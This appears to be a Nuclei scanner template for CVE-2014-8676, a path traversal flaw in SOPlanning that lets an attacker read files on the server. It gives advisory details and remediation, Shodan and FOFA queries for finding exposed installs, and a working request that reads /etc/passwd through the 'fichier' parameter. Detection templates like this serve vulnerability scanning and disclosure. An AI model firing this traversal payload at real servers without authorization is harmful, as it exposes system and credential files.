id: CVE-2014-8676

info:
  name: Simple Online Planning Tool <1.3.2 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: |
    SOPlanning <1.32 contain a directory traversal in the file_get_contents function via a .. (dot dot) in the fichier parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade Simple Online Planning Tool to version 1.3.2 or higher to fix the Local File Inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/132654/Simple-Online-Planning-Tool-1.3.2-XSS-SQL-Injection-Traversal.html
    - https://www.exploit-db.com/exploits/37604/
    - http://seclists.org/fulldisclosure/2015/Jul/44
    - https://nvd.nist.gov/vuln/detail/CVE-2014-8676
    - http://packetstormsecurity.com/files/132654/Simple-Online-Planning-Tool-1.3.2-XSS-SQL-Injection-Traversal.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2014-8676
    cwe-id: CWE-22
    epss-score: 0.40779
    epss-percentile: 0.98474
    cpe: cpe:2.3:a:soplanning:soplanning:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: soplanning
    product: soplanning
    shodan-query: http.html:"soplanning"
    fofa-query: body="soplanning"
  tags: cve2014,cve,packetstorm,edb,seclists,soplanning,lfi,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/process/feries.php?fichier=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203ba0abc80f2b9be5ccd1860479dcf46334d4e258fcb3b4b94aa4705f78cf898c022100c8360dd8a5fe804383da6b7b894c1621db7bae7f27f27c58fad39292ff1b6be9:922c64590222798bb761d5b6d8e72950